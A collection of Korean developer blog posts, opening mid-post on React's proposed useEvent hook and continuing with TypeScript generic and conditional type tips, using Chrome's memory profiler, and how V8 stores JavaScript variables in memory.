다른 방법으로 `useCallback`을 사용하는 것도 있지만, 역시나 앞서 언급했던 것 처럼 `theme` `muted`가 바뀌면 함수의 identity가 변경된다는 사실에는 변함이 없다.

```jsx
function Chat({ selectedRoom }) {
  const [muted, setMuted] = useState(false);
  const theme = useContext(ThemeContext);

  // ✅ 재생성되지 않음
  const onConnected = useEvent(connectedRoom => {
    showToast(theme, 'Connected to ' + connectedRoom);
  });

  // ✅ 재생성되지 않음
  const onMessage = useEvent(message => {
    showToast(theme, 'New message: ' + message);
    if (!muted) {
      playSound();
    }
  });

  useEffect(() => {
    const socket = createSocket('/chat/' + selectedRoom);
    socket.on('connected', async () => {
      await checkConnection(selectedRoom);
      onConnected(selectedRoom);
    });
    socket.on('message', onMessage);
    socket.connect();
    return () => socket.disconnect();
  }, [selectedRoom]); // ✅ 룸이 변경될 때만 실행됨
```

`useEvent`를 사용하여 `onConnected`와 `onMessage`를 분리했다. 이렇게 함으로써, 앞서서 예상되었던 이슈들을 모두 해결할 수 있게 되었다. `useEvent`로 값들을 내재화하여 `useEffect`의 `deps`에서 제거할 수 있게 되었고, 함수도 재생성되지 않고 안정적인 값을 가질 수 있게 되었다. 그리고 여전히, `selectedRoom`에 의존함으로서 우리가 기존에 구현하고 싶었던 기능을 안정적으로 제공할 수 있게 되었다.

```jsx
const onConnected = useEvent((connectedRoom) => {
  console.log(selectedRoom) // 이미 useState를 거쳐서 업데이트 된 값
  showToast(theme, 'Connected to ' + connectedRoom) // 이벤트를 발생시킨 값
})
```

`useEvent`의 `props`로는 이 이벤트를 발생시킨 값을 받을 수 있다.

```jsx
function Chat({selectedRoom}) {
  const [muted, setMuted] = useState(false)
  const theme = useContext(ThemeContext)

  const onConnected = (connectedRoom) => {
    showToast(theme, 'Connected to ' + connectedRoom)
  }

  const onMessage = (message) => {
    showToast(theme, 'New message: ' + message)
    if (!muted) {
      playSound()
    }
  }

  useRoom(selectedRoom, {onConnected, onMessage})
  // ...
}

function useRoom(room, events) {
  const onConnected = useEvent(events.onConnected) // ✅ Stable identity
  const onMessage = useEvent(events.onMessage) // ✅ Stable identity

  useEffect(() => {
    const socket = createSocket(room)
    socket.on('connected', async () => {
      await checkConnection(room)
      onConnected(room)
    })
    socket.on('message', onMessage)
    socket.connect()
    return () => socket.disconnect()
  }, [room]) // ✅ Re-runs only when the room changes
}
```

또 사용하는 곳에서 `useEvent`를 사용하여 wrapping하는 전략을 취할 수도 있다.

`useEvent`가 사용될 수 있는 또다른 예시를 살펴보자. 특정 페이지에 진입했을 때 로깅하는 컴포넌트를 구현한다고 가정해보자.

```jsx
function Page({route, currentUser}) {
  useEffect(() => {
    logAnalytics('visit_page', route.url, currentUser.name)
  }, [route.url, currentUser.name])
  // ...
}
```

이는 얼핏보면 잘 작동하는 것 처럼 보인다. 그러나 사용자가 이름을 바꾸면 어떻게 될까? 사용자는 단순히 이름만 바꿨는데, 다른 사용자로 인식되어 (=`useEffect`가 실행되어) 다시 한번 로깅을 할 것이다.

```jsx
function Page({route, currentUser}) {
  // ✅ Stable identity
  const onVisit = useEvent((visitedUrl) => {
    logAnalytics('visit_page', visitedUrl, currentUser.name)
  })

  useEffect(() => {
    onVisit(route.url)
  }, [route.url]) // ✅ Re-runs only on route change
  // ...
}
```

`useEvent`가 이러한 문제의 해결책이 될 수 있다. `onVisit` 의 props로 주소를 받으면, `currentUser.name`이 변경되었는지 상관없이 우리가 원하던 대로 로깅을 할 수 있게 된다.

## 어떻게 구현되어 있을까?

`useEvent`의 대략적인 구현으로는 아래와 같이 설명하고 있다.

```jsx
// 대략적인 동작
function useEvent(handler) {
  const handlerRef = useRef(null)

  // 실제 구현에서는, layout effect 보다도 먼저 실행된다.
  // 하지만 정확히 언제 실행될지는 아직 개발중
  useLayoutEffect(() => {
    handlerRef.current = handler
  })

  return useCallback((...args) => {
    // 실제 구현에서는, 렌더링중 호출되면 에러를 발생 시킬 것이다.
    // 즉 렌더링 중에는 이 함수는 처리되지 않아야 한다는 것을 의미한다.
    // 렌더링 중에 함수가 호출되지 않게 함으로써 이들의 identity를 안전하게 가져갈 수 있또록 한다.
    // 렌더링 중에는 호출할 수 없으므로, 렌더링에 영향을 주지 않고, input이 변경된더라도 변경할 필요가 없다.
    const fn = handlerRef.current
    return fn(...args)
  }, [])
}
```

이와 비슷한 코드가 존재한다.

```typescript
import {useLayoutEffect, useMemo, useRef} from 'react'

type Fn<ARGS extends any[], R> = (...args: ARGS) => R

const useEventCallback = <A extends any[], R>(fn: Fn<A, R>): Fn<A, R> => {
  let ref = useRef<Fn<A, R>>(fn)
  useLayoutEffect(() => {
    ref.current = fn
  })
  return useMemo(
    () =>
      (...args: A): R => {
        const {current} = ref
        return current(...args)
      },
    [],
  )
}

export default useEventCallback
```

[https://github.com/Volune/use-event-callback/blob/master/src/index.ts](https://github.com/Volune/use-event-callback/blob/master/src/index.ts)

위 설명에서 언급했던 내용을 거의 유사하게 구현해 두었다.

## 느낀점

- 일단 RFC 이기 때문에 이런게 있을 수도 있다 정도로 알아두면 될 것 같다. 그러나 여기저기 홍보하는 걸로 봐서는 이른 시일내에 추가될 듯
- 트위터에서 이것도 염탐하다가 공감하게 된 사실인데, 확실히 리액트는 어려워 지고 있는 것 같다. 초보자들에게 친화적인 프레임워크 라고 보기 어렵지 않을까 싶다. 물론 리렌더링이고 뭐고 간에 다 생각 안하고 만든다면 상관없지만.
- 리액트를 정확하게 이해하기 위해서는 자바스크립트의 기초를 정말정말 잘 이해헤야할 것 같다.
- vue, svelte 등은 이런 문제를 어떻게 해결하고 있을까? 너무 react-way로만 길들여져 있어서 다른 프레임워크는 어떻게 처리하고 있는지 궁금하다. 리액트의 어려움을 토로하는 트위터 쓰레드를 보면, 간간히 vue 광고하시는 분들도 있다. vue는 정말 이런 문제가 없는 것인가 궁금하다.

---

Source: https://yceffort.kr/2022/05/typescript-tips-and-tricks.md
Title: 알아두면 유용한 타입스크립트 팁
Description: "타입"스크립트니까 타입을 잘 할줄 알아야 합니다.
Date: 2022-05-08
Tags: typescript

### 제네릭 활용하기

테이블 컴포넌트가 있고, 여기에 props를 할당해서 그린다고 생각해보면, 보통은 이런 코드가 나올 po`것이다.

```tsx
import React from 'react'

interface Props {
  items: Array<{id: string}>
  renderItem: (item: {id: string}) => React.ReactNode
}

export const Table = (props: Props) => {
  return null
}

export const Component = () => {
  return (
    <Table
      items={[{id: '1'}]}
      renderItem={(item) => {
        return null
      }}
    />
  )
}
```

하지만 이런 구조는 `{id: string}` 으로 고정되어 있어,여러가지 종류의 props를 그리기에는 무리가 있다. 이럴 때 사용하면 좋은 것이 Generic이다. Generic은 타입, 인터페이스 등에서 외부에서 정의된, 공통의 속성을 사용하고 싶을 때 유용하다.

```tsx
import React from 'react'

interface Props<TItem> {
  items: Array<TItem>
  renderItem: (item: TItem) => React.ReactNode
}

export const Table = <TItem,>(props: Props<TItem>) => {
  return null
}

export const Component = () => {
  return (
    <>
      <Table
        items={[{id: '1'}]}
        // item이 {id: "1"}로 추론되는 것을 볼 수 있다.
        renderItem={(item) => {
          return null
        }}
      />
      <Table
        items={[{id: '1', name: 'yceffort'}]}
        // 서로 다른 props가 와도 문제 없다.
        renderItem={(item) => {
          return null
        }}
      />
    </>
  )
}
```

이렇게 props와 interface내에서 사용하는 것 뿐 만 아니라, 타입을 아직 알 수 없는 객체 등을 다룰 때도 유용하다.

```ts
export const getDeepValue = (obj: any, firstKey: string, secondKey: string) => {
  return obj[firstKey][secondKey]
}

const obj = {
  foo: {
    a: true,
    b: 2,
  },
  bar: {
    c: '12',
    d: 18,
  },
}

const value = getDeepValue(obj, 'foo', 'a')

// value any
```

어떠한 객체의 키로 특정한 값을 가져온다고 생각해보자. 객체의 형태를 당장 알 수 없으므로 `any`를 두고, 키는 string으로 두었다. `any`를 쓰는 것은 타입스크립트에서 최대한 자제해야하는 행위다.

이것을 해결하기 위해, 마찬가지로 Generic을 사용할 수 있다.

```typescript
export const getDeepValue = <
  TObj,
  TFirstKeyOfObj extends keyof TObj,
  TSecondKeyOfObj extends keyof TObj[TFirstKeyOfObj],
>(
  obj: TObj,
  firstKey: TFirstKeyOfObj,
  secondKey: TSecondKeyOfObj,
) => {
  return obj[firstKey][secondKey]
}

const obj = {
  foo: {
    a: true,
    b: 2,
  },
  bar: {
    c: '12',
    d: 18,
  },
}

const value = getDeepValue(obj, 'foo', 'a')
// value number
```

`extends`을 활용하면 기존의 제네릭을 상속 받아 또 다른 제네릭을 만들 수 있다. `TFirstKeyOfObj`는 `keyof TObj`, 즉 `TObj`의 키를 상속받아 만들었고, `TSecondKeyOfObj`는 `TObj[TFirstKeyOfObj]`의 키를 상속받아 만든 제네릭이다. 처음보기엔 무언가 복잡해보이지만, 차분하게 읽어보면 별거 없다는 것을 알 수 있다.

### 조건부 타입

타입도 다른 변수들이나 표현과 마찬가지로 조건부로 만들 수 있다.

```typescript
type Animal = {
  name: string
}

type Human = {
  firstName: string
  lastName: string
}

type GetRequiredInformation<TType> = any

export type RequiredInformationForAnimal = GetRequiredInformation<Animal>

export type RequiredInformationForHuman = GetRequiredInformation<Human>
```

`GetRequiredInformation`에서 받은 제네릭 `TTYpe`이 `Animal`인지, `Human`인지 확인하여 새로운 타입을 extends할 수 있는 타입을 만들어보자.

```typescript
type GetRequiredInformation<TType> = TType extends Animal
  ? {age: number}
  : {salary: number}
```

`extends`를 사용하면 단순히 상속하는 것 뿐만 아니라, 마치 조건문으로 사용해서 상속할 수 있는지 여부도 확인할 수 있다. 이에 따라 타입별로 원하는 추가 타입을 선언해 줄 수 있다.

추가로, `GetRequiredInformation`에 `Animal` `Human`외에 다른 것이 오는 것을 막고 싶다면, 아래와 같이 `never`를 사용하면 된다.

```typescript
type GetRequiredInformation<TType> = TType extends Animal
  ? {age: number}
  : TType extends Human
    ? {salary: number}
    : never
```

[과거 글](/2022/03/understanding-typescript-never#왜-never가-필요한가)에서 이야기 했던 것처럼, 그 어떤 것도 사용할 수 없는 불가능한 타입, bottom type을 만들고 싶을 때 `never`를 사용한다.

이러한 방식을 조금더 응용하면, 내가 타입스크립트 컴파일러에 사용할 수 있는 에러도 만들 수 있다.

```typescript
export function deepEqualCompare(a: any, b: any) {
  if (Array.isArray(a) || Array.isArray(b)) {
    throw new Error('배열은 비교할 수 없습니다.')
  }
  return a === b
}
```

```typescript
export function deepEqualCompare<Arg>(a: Arg extends any ? "배열은 비교할 수 없습니다", b: Arg) {
  if (Array.isArray(a) || Array.isArray(b)) {
    throw new Error("배열은 비교할 수 없습니다.")
  }
  return a === b
}

deepEqualCompare([1, 2, 3], [1]) // Argument of type 'number[]' is not assignable to parameter of type '"배열은 비교할 수 없습니다."'.(2345)
```

그러나, 이러한 코드가 동작해버리는 참사가 발생버리기 때문에, `never`를 쓰는 것이 좋다.

```typescript
deepEqualCompare('배열은 비교할 수 없습니다.', '배열은 비교할 수 없습니다.') // ????
// 물론 코드가 잘못된 것은 아니지만, 우리가 원하는 바는 이게 아닐 것이다.
```

### 타입스크립트의 타입을 공부할 때 도움이 되는 것들

- [ts-belt](https://github.com/millsp/ts-toolbelt): 타입스크립트에서 유용하게 사용할 수 있는 다양탄 유틸리티 라이브러리를 제공한다. 찾아보면 별에 별 유틸리티 타입들을 다 제공하는데, 이를 어떻게 만들었을지 상상해 보는 재미가 있다.
- [zod](https://github.com/colinhacks/zod): [joi](https://github.com/sideway/jo)의 타입스크립트 버전이라고 보면된다. 타입스크립트의 스키마를 체크하는데 도와주는 라이브러리다.
- [type-challenges](https://github.com/type-challenges/type-challenges): 알고리즘에 백준이 있다면, 타입스크립트에는 `type-challenge`가 있다. 문제를 하나씩 풀어나가는 재미가 있다. `hard`까지는 그럭저럭 꾸역꾸역할 수 있었는데, `extreme`부터는 약간 그냥 테스트를 위한 테스트 같은 느낌이다. (내가 못풀어서 그런 걸수도 있다.) 실무에서 개발하는 타입스크립트 개발자라면, `medium`까지만 풀어도 충분할 것 같다.
- [TypeScript Error Translator](https://marketplace.visualstudio.com/items?itemName=mattpocock.ts-error-translator): 타입스크립트를 처음 접했을 때 많이 헤매는 것이 잘못된 타입으로 인한 에러인데, 이 에러를 읽기가 처음에는 약간 버거운 경우도 있다. 이러한 불친절한 에러를 사람이 읽기 쉽게 번역해주는 extension이다.

---

Source: https://yceffort.kr/2022/04/chrome-memory-profiler.md
Title: 크롬 메모리 프로파일러 사용하는 방법
Description: 스냅샷 해석과 디버깅의 책임은 본인에게 있습니다
Date: 2022-04-28
Tags: web-performance, browser, debugging

## Introduction

웹 애플리케이션 성능 최적화 내지는 메모리 이슈를 해결하기 위해서 이것저것 뒤지다보면, 결국 최종적으로 확인해봐야 할 것은 바로 이 메모리 프로파일링 탭이다. 이 탭을 통해 웹 애플리케이션에서 메모리 누수가 일어나고 있는지, 또 메모리를 최대한 효율적으로 사용하고 있는지를 확인하기 위해서는, 이 메모리 프로파일링 탭을 읽을 수 있어야 한다. 마침 크롬 버전이 업데이트 되면서 (꽤 되긴했지만) 친절하게 크롬의 디버그 도구가 한글로 번역까지 되어 있다.

본격적으로 탭을 살펴보기에 앞서, 크롬 메모리 프로파일러를 처음 보면 매우 혼란스럽다. 친절한 자바스크립트 코드를 보다가 포인터와 각종 희한한 정보들을 살펴보다면 매우 혼란스러울 것이다. 그래서 본격적으로 우리가 (혹은 내가) 만든 페이지를 디버깅 하기에 앞서, 빈 html 태그만 있는 페이지를 기준으로 살펴보려고 한다.

HTML의 역사는 매우매우 오래되었고 또 갖가지 문법들이 유서깊게 짬뽕되어 있기 때문에, 우리가 빈 `<html/>` 문서만 만들어도 크롬은 알아서 `head`와 `body` 삽입해서 기본적인 HTML 트리를 만들어 준다. 아무튼, 이 빈 `<html/>`을 시작으로 크롬 메모리 탭에서 무슨 일이 일어나고 있는지 살펴보자.

```html
<html />
```

위 파일을 별도 html로 저장한 다음에 시크릿탭으로 페이지를 한번 열어보자. 꼭 시크릿탭으로 여는 것이 좋다. 그렇지 않으면 안그래도 정신사나운 정보들에 추가로 익스텐션 정보들까지 달라붙어 매우 읽기 어려워진다.

![chrome-memory-profiler1](./images/chrome-memory-profiler1.png)

힙 스냅샷 하단에 있는 숫자값을 포함할지 여부를 꼭 선택하자. [이전 포스트](/2022/04/how-javascript-variable-works-in-memory#숫자는-조금-복잡)에서 살펴보았던 것처럼, `smi` 숫자는 관리 방식이 달라 이것을 체크하지 않으면 숫자값을 볼 수 없다.

![chrome-memory-profiler2](./images/chrome-memory-profiler2.png)

놀랍게도, 아무것도 없는 말그대로 빈페이지 주제에 단순히 빈 페이지를 렌더링하는데에도 많은 오브젝트가 관여되어 있는 것을 볼 수 있다. 이 페이지가 로드된 이후, 인스턴스화된 각 자바스크립트 객체는 해당 생성자 클래스 아래에 그룹화되어 있는 것을 볼 수 있다. 괄호로 쳐져있는 그룹 `()`은 직접 호출할 수 없는 네이티브 생성자를 나타낸다. 위 그림에서 보면 많은 `(compiled code)` `(system)` 등도 볼 수 있고, 그리고 `Date` `String` `RangeError` 과 같은 전통적인 자바스크립트 객체도 볼 수 있다.

이 모든 것을 이해하기 위해서, 유저가 간단하게 버튼을 눌러서 동작하는 작업을 추가해보자.

```html
<html>
  <head>
    <script>
      var counter = 0
      var instances = []

      function X() {
        this.i = counter++
      }

      function allocate() {
        instances.push(new X())
      }
    </script>
  </head>
  <body>
    <button onclick="allocate()">Allocate</button>
  </body>
</html>
```

위 코드에서 버튼을 클릭하고 메모리 프로파일러를 열어보자.

![chrome-memory-profiler3](./images/chrome-memory-profiler3.png)

`X`라는 객체가 할당되어 있는 것을 볼 수 있다.

이를 조금 더 찾기 쉽게 하는 방법은, 먼저 첫번째 스냅샷을 찍은 뒤에, 다시 동그라미 버튼을 눌러 두번째 스냅샷을 찍는 것이다. 그리고 드롭다운에서, 이 스냅샷 사이에 생성된 생성자만 보는 방법이 있다.

![chrome-memory-profiler5](./images/chrome-memory-profiler5.png)

버튼을 클릭한 이벤트만 했을 뿐이라, `X`만 보였을 것이라 예상하였지만, 몇가지 추가적인 작업이 발생했음을 알 수 있다. 크롬의 경우 레이지 로딩 객체에 대해 최적화를 하는 작업이 있다. 이 경우에는 HTML 버튼 엘리먼트을 클릭하기 전까지 메모리가 주어지지 않았음을 알 수 있다. 즉 클릭이 실제로 일어났을 때 그때서야 비로소 메모리를 할당해서 작업을 한 것이다.

이를 확인해보는 방법은 버튼을 여러번 클릭해보는 것이다. 여러번 클릭한후 스냅샷을 찍어두면, 아까와 다르게 딱 필요한 `X`만 할당해서 작업이 이뤄지고 있음을 알 수 있다.

![chrome-memory-profiler6](./images/chrome-memory-profiler6.png)

> 여기서 보여주는 아이디는 객체 인스턴스를 구별하기 쉽게 도와주는 아이디 값으로, 실제로 메모리 주소를 가리키는 것은 아니다.

각 인스턴스는, 클래스 이름이 아래에 내열되고, 실제로 그 객체를 클릭해보면 객체에 대한 상세한 정보가 나와있는 것을 알 수 있다.

![chrome-memory-profiler7](./images/chrome-memory-profiler7.png)

여기서 주목해야할 것은 `얕은 크기`라고 작성되어 있는 열이다. 이 `얕은 크기`라는 것은 객체가 유지하고 있는 바이트의 크기를 나타낸다. 자바스크립트는, 이 자바스크립트를 만든 C언어와는 다르게 객체 하나를 지하는데 더 많은 크기를 차지한다.

`유지된 크기`는 객체가 참조를 보유하고 있는 객체 외에 객체 자체의 내부 메모리 때문에 이 객체가 보유하고 있는 바이트 수를 의미한다. 그리고 이 메모리는 가비지 콜렉팅 되지 않는다. 무슨 말인지 이해하기 위해 다음 예제를 실행해보자.

```html
<html>
  <head>
    <script>
      var counter = 0
      var instances = []

      function Y() {
        this.j = 5
      }

      function X() {
        this.i = counter++
        this.y = new Y()
      }

      function allocate() {
        instances.push(new X())
      }
    </script>
  </head>
  <body>
    <button onclick="allocate()">Allocate</button>
  </body>
</html>
```

![chrome-memory-profiler8](./images/chrome-memory-profiler8.png)

위 예제는, X 인스턴스가 생성될 때 마다 `y`에 `Y` 인스턴스를 초기화 하고 할당한다. `X`자체는 52 바이트 밖에 없지만, `X`내부가 순수 이 객체외에 참조를 유지하기 위해 이용하는 메모리, 즉 `Y`의 사이즈인 48 바이트를 추가로 사용하므로 `유지된 크기`는 100 바이트임을 알 수 있다.

```html
<html>
  <head>
    <script>
      var counter = 0
      var instances = []

      function X() {
        this.i = counter++
        if (instances.length) {
          this.ref = instances[instances.length - 1]
        }
      }

      function allocate() {
        instances.push(new X())
      }
    </script>
  </head>
  <body>
    <button onclick="allocate()">Allocate</button>
  </body>
</html>
```

크롬의 메모리 프로파일러는 `유지된 크기`를 계산하는데 있어 매우 영리한 모습을 보여준다.

![chrome-memory-profiler9](./images/chrome-memory-profiler9.png)

예제를 스냅샷 찍은 모습에서 알 수 있는 것처럼, X에 새로운 Y를 할당하는 대신에 인스턴스 베열에서 이전에 만들었던 인스턴스에 대한 참조를 유지하여 메모리를 효율적으로 관리하는 것을 볼 수 있다.

여기서 언급하지 않은 열 하나가 바로 `거리`다. 자바스크립트의 메모리 누수는 다른 객체가 참조를 보유하고 있어서 가비지 콜렉터가 객체 인스턴스를 수집하지 못할 때 발생한다.다른 객체가 해당 객체에 대한 참조를 보유하고 있기 때문에 발생한다.

![chrome-memory-profiler10](./images/chrome-memory-profiler10.png)

지금 위 그림에서 보여준 객체는 가비지 콜렉팅에 적합하지 않아서 힙에서 계속 머물러 있는 것을 볼 수 있다. 여기에서 객체 항목을 보면 이 인스턴스가 메모리를 계속해서 차지하고 있는 이유를 알 수 있다. 이 객체는 글로벌, 즉 `window` 객체가 소유하는 인스턴스 배열이 유지되어야 하기 때문에 계속해서 존재하는 것을 볼 우 있다. 웹 애플리케이션에서 메모리 누수가 발생하는 주요 원인은 잘못된 변수 선언에 있으며, 이러한 잘못 선언된 변수가 글로벌에 계속 머물러 있기 때문이다. 이 경우에는 이 객체 뷰를 통하여 신속하게 왜 유지되고 있는지를 확인할 수 있다.

다음으로 살펴볼 메뉴는 타임라인 할당 계측 이다. 이 메뉴는 앞선 힙 스냅샷과 유사하다. 한가지 차이점이라면 지속적으로 실행되어 멈추기전까지 이 메모리 스냅샷에서 일어나는 변화를 알 수 있다는 것이다. 사용자의 인터랙션에 따른 메모리의 상황을 점검하기 위해 유용하다.

![chrome-memory-profiler11](./images/chrome-memory-profiler11.png)

![chrome-memory-profiler12](./images/chrome-memory-profiler12.png)

---

Source: https://yceffort.kr/2022/04/how-javascript-variable-works-in-memory.md
Title: V8에서 관리되는 자바스크립트 변수
Description: V8 내부 코드를 자유롭게 읽을 수 있는 그날까지
Date: 2022-04-21
Tags: javascript, browser

## Table of Contents

## 거의 대부분의 변수는 힙에 존재한다.

**일반적으로 원시값은 스택에, 객체는 힙에 할당된다고 알려져있지만, 이와 반대로 자바스크립트의 모든 원시값도 힙에 할당되어 있다.** 이는 굳이 V8 소스코드를 까지 않고도 알 수 있는 방법이 존재한다.

1. 먼저 자신의 로컬 머신에 `node --v8-options` 명령어를 날려보자. 여기에는 다양한 노드 v8과 관련된 옵션값이 존재한다. 그 중에 `stack-size`라는 옵션을 활용하면, 로컬머신의 V8 스택 사이즈를 확인할 수 있다. 나는 최신버전의 (20220422 기준) 노드 v16.6.2를 사용하고 있는데, 864kb가 나왔다.
2. 자바스크립트 파일을 생성한다음, 엄청나게 큰 string을 만들고, `process.memoryUsage().heapUsed`를 활용해서 힙을 얼마나 차지하고 있는지 확인해보자.

```javascript
function memoryUsed() {
  const mbUsed = process.memoryUsage().heapUsed / 1024 / 1024
  console.log(`Memory used: ${mbUsed} MB`)
}

function memoryUsed() {
  const mbUsed = process.memoryUsage().heapUsed / 1024 / 1024
  console.log(`Memory used: ${mbUsed} MB`)
}

console.log('before')
memoryUsed() // Memory used: 4.7296905517578125 MB

const bigString = 'x'.repeat(10 * 1024 * 1024)
console.log(bigString) // 컴파일러가 bitString을 최적화하여 날려먹지 않게 필요하다.

console.log('after')
memoryUsed() // Memory used: 14.417839050292969 MB
```

엄청나게 큰 10mb짜리 string을 선언한 뒤 확인해보니, 해당 문자열 만큼의 약10mb의 차이가 있는 것을 확인할 수 있었다. 앞서 언급했던 스택 사이즈의 경우, 오직 864kb 밖에 없었다. 그렇다. 스택에는 이렇게 큰 문자열을 저장할 공간이 없다.

## 자바스크립트의 원시 값은 대부분 재활용 된다.

만약 아까 만들었던 `'x'.repeat(10 * 1024 * 1024)`를 또다른 변수에 할당한다면, 메모리에 그것을 그대로 복사해서 힙에 총 20mb 를 차지하게 될까?

정답은 그렇지 않다. 중복된 문자열은 별도로 할당되지 않는다. 우리가 일반적으로 알고 있는 것 처럼, 자바스크립트에서 변수를 할당 하는 동작은 실제 값의 크기에 비례하는 비용이 드는 것은 아니다. 자바스크립트 변수의 대부분은 포인터로 이루어져 있다.

이러한 사실을 Chrome DevTools를 활용한 메모리 프로파일링을 통해서 확인할 수 있다.

```html
<html>
  <body>
    <button id="button">button</button>
    <script>
      const button = document.querySelector('#button')

      button.addEventListener('click', function () {
        const string1 = 'hello'
        const string2 = 'hello'
      })
    </script>
  </body>
</html>
```

다음과 같은 html 문서를 만들어 저장하고, Chrome Devtool의 Memory 탭에서 확인해보자.

![chrome-devtool1](./images/chrome-devtool1.png)

![chrome-devtool2](./images/chrome-devtool2.png)

클릭을 여러번해도, string "hello"`는 힙에 단 하나만 존재하는 것을 알 수 있다.

이러한 것을 [String interning](https://en.wikipedia.org/wiki/String_interning)이라고 한다. 각 문자열의 값을 복사본 하나만 저장하는 방법으로, 불변해서 관리하는 것을 의미한다. 이러한 방법을 활용하면, 문자열이 생성되거나 인터닝 될때, 이로인한 시간 소요나 공간을 효율적으로 관리할 수 있게 된다.

v8 내부에서는, 이를 [string-table](https://chromium.googlesource.com/v8/v8/+/fc0cbc144530662db5ef27406e1c7302760e8461/src/objects/string-table.h) 이라는 코드의 형태로 관리한다.

여기에 추가로, V8에는 [oddball](https://chromium.googlesource.com/v8/v8/+/master/src/builtins/base.tq#506) 이라고 불리는 것이 존재한다.

```text
type TheHole extends Oddball;
type Null extends Oddball;
type Undefined extends Oddball;
type True extends Oddball;
type False extends Oddball;
type Exception extends Oddball;
type EmptyString extends String;
type Boolean = True|False;
```

이들은 스크립트의 첫번째 라인이 실행되기전에 V8에 의해 힙에 미리 할당되는 값이다. 즉, 자바스크립트 프로그램에서 이러한 값이 사용되던 말건 상관없이 미리 할당해두는 값이라고 보면 된다

그리고 이 값들은 항상 재사용된다. 즉,각 `oddball` 별로 하나의 값만 가지고 있다.

```javascript
function Oddballs() {
  this.undefined = undefined
  this.true = true
  this.false = false
  this.null = null
  this.emptyString = ''
}
const obj1 = new Oddballs()
const obj2 = new Oddballs()
```

앞서 실행해보았던 코드에 위 코드를 추가하고, 다시한번 스냅샷을 찍어보자.

![chrome-devtool3](./images/chrome-devtool3.png)

클릭을 두번해서 별개의 객체가 생성되었음에도, 각각의 값들은 같은 주소를 가리키고 있는 것을 볼 수 있다.

자바스크립트가 `oddball`을 가지고 있는 변수를 만들경우, 이들은 값을 생성하거나 파괴하는 동작을 거치는게 아닌 미리 만들어둔 값을 부르는 방식으로 관리하는 것을 볼 수 있다.

## 자바스크립트 변수들은 대부분 포인터다.

V8 소스코드를 더 깊게 파고들어가 보면, 자바스크립트 프로그램에서 생성한 변수가, 힙에 위치한 C++ 객체를 가리키는 메모리 주소라는 사실을 알 수 있다.

예를 들어, `undefined`는 V8에서 [다음](https://chromium.googlesource.com/v8/v8/+/a684fc4c927940a073e3859cbf91c301550f4318/include/v8-primitive.h#830)과 같이 구현되어 있다.

```text
V8_INLINE Local<Primitive> Undefined(Isolate* isolate) {
  using S = internal::Address;
  using I = internal::Internals;
  I::CheckInitialized(isolate);
  S* slot = I::GetRoot(isolate, I::kUndefinedValueRootIndex);
  return Local<Primitive>(reinterpret_cast<Primitive*>(slot));
}
```

우리가 주목해야할 것은, `GetRoot`다. `GeetRoot`는 [다음](https://chromium.googlesource.com/v8/v8/+/a684fc4c927940a073e3859cbf91c301550f4318/include/v8-internal.h#388)과 같이 구현되어 있다.

```text
V8_INLINE static internal::Address* GetRoot(v8::Isolate* isolate, int index) {
    internal::Address addr = reinterpret_cast<internal::Address>(isolate) +
                             kIsolateRootsOffset +
                             index * kApiSystemPointerSize;
    return reinterpret_cast<internal::Address*>(addr);
  }
```

## 숫자는 조금 복잡

숫자의 경우에는 다른 객체와는 조금 다르다. 숫자는 사용 빈도가 매우 잦기 때문에, 앞선 방식으로 관리하게 되면 새로운 개체를 할당해야 하는데 이는 V8입장에서 너무 큰 부담이된다. 여기서 사용하는 방법이 `포인터 태깅`이고, 64비트 아키텍쳐를 기반으로 $$-2^{31}$$ 에서 $$2^{31}-1$$ 까지 구성되어 있는 이 숫자를 V8에서는 이를 `smi` 라고 부른다.

이들은 내부적으로 최적화가 되어 있어 포인터에서 추가적인 스토리지를 할당할 필요 없이 포인터 내부에서 인코딩할 수 있다. 이는 V8만의 특징은 아니고, 다른 언어에서도 발견할 수 있다.

이 방법이 조금 복잡한데, 간단하게 요약하자면 SMI에는 포인터가 아닌 부호있는 정수값을 직접 저장한다. SMI는 힙메모리에 할당하지 않는 즉치 값(Immediate values)라고 부른다.

그러나 모든 숫자가 smi인 것은 아니다. 범위를 넘어서는 정수값, double 형식, 값을 박싱해야 하는 경우에는 여전히 힙에 개체로 저장되며 이는 힙숫자라고 부른다.

숫자가 가지고 있는 또다른 복잡한 특징은 앞서 언급했던 문자열과는 반대로, 재사용되지 않을 수도 있다는 사실이다.

이러한 사실들을 실제로 메모리 스냅샷을 통해 알아보자.

```javascript
function MyNumbers() {
  ;((this._integer = 1), (this._double = 1.1))
}
// 전역변수
var _global_integer = 1
var _global_double = 1.1
const num1 = new MyNumbers()
const num2 = new MyNumbers()
```

이제 이 코드를 추가해서 또 확인해보자.

![chrome-devtool4](./images/chrome-devtool4.png)

immediate value인 1은 `smi`가 되어서 관리되고 있어 속성 값에서 나타나지 않았다. 앞서 말한 것처럼, `smi`값 1은 힙메모리에 할당되지 않기 때문이다.

![chrome-devtool5](./images/chrome-devtool4.png)

위 스크린샷은 앞서 선언했던 전역변수 두개를 살펴본 것이다. `smi`인 값은 역시 나타나지 않았고, `_global_double`의 값만 메모리 힙 스냅샷에 나타난다.

이렇게 힙에서 관리하고 있는 숫자를 `HeapNumber` 라고 하는데, 이 숫자의 특징은 재사용되지 않는 다는 것이다.

![chrome-devtool6](./images/chrome-devtool6.png)

> heap number가 각각 다른 포인트를 가리키고 있는 모습

예를 들어, $$3 + 0.14$$ 나 $$\frac{314}{100}$$ 과 같은 연산은 3.14라는 `HeapNumber`가 이미 존재하는지 확인할 필요가 없기 때문에 (이미 연산했으므로) 각각의 다른 `HeapNumber`가 할당된다.

## 정리

```javascript
const a = 'foo'
const b = 123
const c = false
const d = {name: 'foo', number: 123}
```

컴파일러를 거치면, 이러한 변수는 메모리에 위치하게 된다.

```text
a: 0x000
b: 0x010
c: 0x020
d: 0x030
```

자바스크립트 변수는 스택/힙/레지스터 등에 위치하거나 이미 알려져있는 힙 메모리 위치에 존재할 수 있다.

```text
0x000: 0x100
0x010: 123
0x020: 0x200
0x030: 0x300
```

실제 자바스크립트의 값은 힙에 위치한다.

```text
0x100: 'foo'
0x200: false
0x300: {name: 0x100, number: 123 }
```

